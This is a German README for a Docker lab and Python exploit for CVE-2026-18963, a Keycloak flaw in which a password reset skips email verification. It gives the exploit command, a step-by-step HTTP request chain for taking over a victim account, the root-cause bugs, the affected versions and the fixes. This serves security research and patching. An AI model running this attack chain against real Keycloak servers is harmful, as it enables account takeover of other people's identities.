
Docker-basiertes Lab und Python-Exploit für CVE-2026-18963, eine Umgehung des Keycloak-Reset-Credentials-Flows, die Account-Übernahme durch Umgehung der E-Mail-Verifizierung ermöglicht.
Lab simuliert die Schwachstelle CVE-2026-18963 (CVSS 9.1) in Keycloak, die es einem Angreifer ermöglicht, die Kontrolle über ein beliebiges Konto zu übernehmen, indem die E-Mail-Verifizierung im Passwort-Reset-Flow umgangen wird.
Nur für Sicherheitsforschung und Bildungszwecke.
docker-compose up -d
Warten, bis Keycloak gestartet ist (~30-60 Sekunden).
pip install -r requirements.txt
python setup-lab.py
Das Skript erstellt:
vuln-lab mit aktiviertem reset-passwordvictim ([email protected] / VictimPass123!)python exploit.py -u http://127.0.0.1:8080 -r vuln-lab -t victim -p Pwned123!
Optionen:
-u / --url: Keycloak-URL (Standard: http://127.0.0.1:8080)-r / --realm: Realm-Name (Standard: vuln-lab)-t / --target: Ziel-Benutzername (Standard: victim)-p / --password: Neues Passwort (Standard: Pwned123!)-v / --verbose: Debug-Ausgabe aktivierenMailHog UI: http://127.0.0.1:8025 — zeigt die während des Exploits versendete reset-password-E-Mail.
docker-compose down -v
Zwei kombinierte Fehler in Keycloak bilden die Angriffskette:
Fehler 1 — Selector-State-Korruption (DefaultAuthenticationFlow.java):
Wenn der Benutzer auf "Try Another Way" klickt, wird die Auth-Notiz AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED
als "true" (Boolean-String) statt als Execution-Model-ID gespeichert. Der Wert
"true" ist an keine bestimmte Execution gebunden, daher bleibt er
über die Schritte im Flow hinweg bestehen und führt dazu, dass der Selector im falschen Kontext angezeigt wird.
Fehler 2 — Bedingungsloser Action-Erfolg (ResetCredentialEmail.java):
Die Methode action() von ResetCredentialEmail ruft context.success() bedingungslos
auf, ohne das Action-Token zu prüfen. Normalerweise wird action() nur aufgerufen, wenn der Benutzer
auf den Link in der E-Mail klickt (mit Action-Token). Wenn der Selector jedoch korrumpiert ist, kann der Angreifer
action() direkt über die Flow-Verarbeitung auslösen.
Angreifer Keycloak
│ │
│─── GET /auth (OIDC + PKCE) ────────>│ 1. Auth-Session initialisieren
│<── Login-Seite + Cookies ───────────│
│ │
│─── GET /reset-credentials ─────────>│ 2. Zum Reset-Flow wechseln
│<── Benutzername-Formular ──────────│
│ │
│─── POST tryAnotherWay=on ─────────>│ 3. Selector-State korrumpieren
│<── Authenticator-Selector ─────────│ SELECTOR_DISPLAYED = "true"
│ │
│─── POST username=victim ──────────>│ 4. Benutzername über Selector senden
│<── "Check your email"-Seite ───────│ E-Mail gesendet, CURRENT_EXEC = email_id
│ │
│─── GET /reset-credentials ────────>│ 5. Reset-Flow erneut betreten
│<── Korrumpierter Selector (!!!) ───│ processFlow() sieht SELECTOR="true"
│ │ → zeigt Selector für E-Mail-Schritt an
│ │
│─── POST {} (leerer Body) ─────────>│ 6. BYPASS: action() auslösen
│<── 302 → UPDATE_PASSWORD ─────────│ processAction() findet kein
│ │ authenticationExecution im Formular
│─── GET /required-action ──────────>│ → fällt in den action()-Zweig
│<── Passwort-Update-Formular ──────│ ResetCredentialEmail.action()
│ │ → context.success() (bedingungslos!)
│ │ → Flow wechselt zu ResetPassword
│ │
│─── POST password-new=Pwned! ──────>│ 7. Neues Passwort setzen
│<── 302 → /account/ ──────────────│ Account-Übernahme abgeschlossen
│ │
└── Mit neuem Passwort anmelden ─────┘
In DefaultAuthenticationFlow.processAction() beim Empfang eines POST:
tryAnotherWay im Formular → NEIN (Formular leer)authenticationExecution im Formular → NEIN (Formular leer)authenticator.action(result) auf dem Model aus der URL aufDa die URL execution=<email_exec_id> enthält (aus der Selector-Formular-Action), wird
ResetCredentialEmail.action() aufgerufen → gibt context.success() zurück →
Flow wechselt zu ResetPassword → zeigt das Formular zum Setzen des Passworts an.
| Produkt | Betroffen | Gepatcht |
|---|---|---|
| Keycloak (upstream) | < 26.7.2 | 26.7.2+ |
| RHBK 26.4.x | < 26.4.15 | 26.4.15+ |
| RHBK 26.6.x | < 26.6.6 | 26.6.6+ |
DefaultAuthenticationFlow.java:
setAuthNote(SELECTOR_DISPLAYED, "true") → setAuthNote(SELECTOR_DISPLAYED, model.getId())processFlow() prüft selector.equals(lastExecutionId) statt Boolean.parseBoolean()removeAuthNote(SELECTOR_DISPLAYED)ResetCredentialEmail.java:
action() prüft ACTION_TOKEN_USER_ID vor dem Aufruf von context.success()context.failure(INVALID_USER)